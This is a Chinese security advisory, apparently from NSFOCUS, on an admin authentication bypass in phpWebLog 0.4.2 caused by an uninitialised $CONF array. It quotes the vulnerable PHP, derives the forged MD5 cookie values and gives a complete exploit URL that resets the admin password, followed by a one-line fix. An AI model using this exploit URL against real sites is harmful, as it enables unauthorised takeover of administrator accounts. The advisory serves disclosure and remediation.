首页 -> 安全研究

安全研究

安全漏洞
phpWebLog 管理员认证绕过漏洞

发布日期:2000-12-05
更新日期:2000-12-05

受影响系统:

Jason Hines phpWebLog 0.4.2
描述:

phpWebLog 是一个开放源码的web新闻管理系统。由于存在一个安全问题,用户
可能绕过认证过程获取管理权限。

问题在于common.inc.php中的$CONF没有正确的作为一个数组初始化。
这将允许用户改变它的内容,并导致管理认证被绕过。

有问题的代码:
common.inc.php:
<quote>
/*== read in configuration data ==*/
$sql    = "SELECT * FROM T_Config";
$result = @mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);

for ($i=0;$i<$nrows;$i++) {
        $A      = mysql_fetch_array($result);
        $CONF[$A["Name"]] = $A["Value"];
}
</quote>

这里$CONF并没有正确的作为一个数组初始化,因此如果我们在URL参数中为
$CONF赋值。所有的数组数值就被转化为最后一条数据数值的第一个字符。
最后一条数据的"Name"="language",如果"Value"设置为"english".则$CONF所
有的数组值都变为'e'.例如:

$CONF["SiteKey"]=...=$CONF["language"] = 'e'


auth.inc.php:
<quote>
} elseif (!F_isAdmin()) {
        include("../include/header.inc.php");
        if (!empty($warn)) {
                F_logAccess("Failed login");
                F_notice("Invalid password. Try again.");
        }
(...)
(管理认证通过)
</quote>

snip of common.inc.php:
<quote>
function F_isAdmin() {
        global  $HTTP_COOKIE_VARS,$CONF;
        $name   = md5($CONF["SiteKey"] . "_admin");
        #echo $HTTP_COOKIE_VARS[$name];
        #echo crypt("admin",$CONF["SiteKey"]);
        return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"])) ? 1 :
0);
}
</quote>

我们看到认证是基于
$HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"]))
是否匹配的。
因此我们只需要计算
md5("<language的第一个字符>_admin")数值
md5(rot13("<language的第一个字符>"))数值

如果language的值为"english",我们只需要计算:md5("e_admin")和md5(rot13("e"))

提交认证信息的CGI: submit.php:
<quote>
case "config-extend":
        $tmp    = urlencode("Changes Saved.");
        if (!empty($Passwd) || !empty($Passwd2)) {
                if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) {
                        $sql    = "UPDATE T_Config set ";
                        $sql    .= "Value = '" .
md5($HTTP_POST_VARS["Passwd"]) . "' ";
                        $sql    .= "WHERE Name = 'Passwd'";
                        $RET    = @mysql_query($sql,$db);
(...)
</quote>

根据上面所作的计算,如果使用"english"作为"language"的值,可以提交下列的
URL:

http://phpweblog.vuln.site/submit.php?CONF=anything&HTTP_COOKIE_VARS[7f15a2e
7f0a543eacb3efbd098ced7f2]=4b43b0aee35624cd95b910189b3dc231&what=config-exte
nd&HTTP_POST_VARS[Passwd]=my_pass&HTTP_POST_VARS[Passwd2]=my_pass&Passwd=my_pas
s&Passwd2=my_pass

忽略掉错误信息,用户可以直接修改管理口令。

<*来源:Joao Gouveia (cercthar@teleweb.pt) *>


建议:

临时解决方法:

NSFOCUS建议您在没有升级版本之前,按照漏洞发现者的方法来临时解决问题:

在 common.inc.php中下列语句:
<quote>
for ($i=0;$i<$nrows;$i++) {
        $A      = mysql_fetch_array($result);
        $CONF[$A["Name"]] = $A["Value"];
}
</quote>
之前添加一条初始化代码:
$CONF = array();

并且一定要改变缺省的"SiteKey"的值。
Always remember to change your default "SiteKey".

厂商补丁:

暂无


浏览次数:4164
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障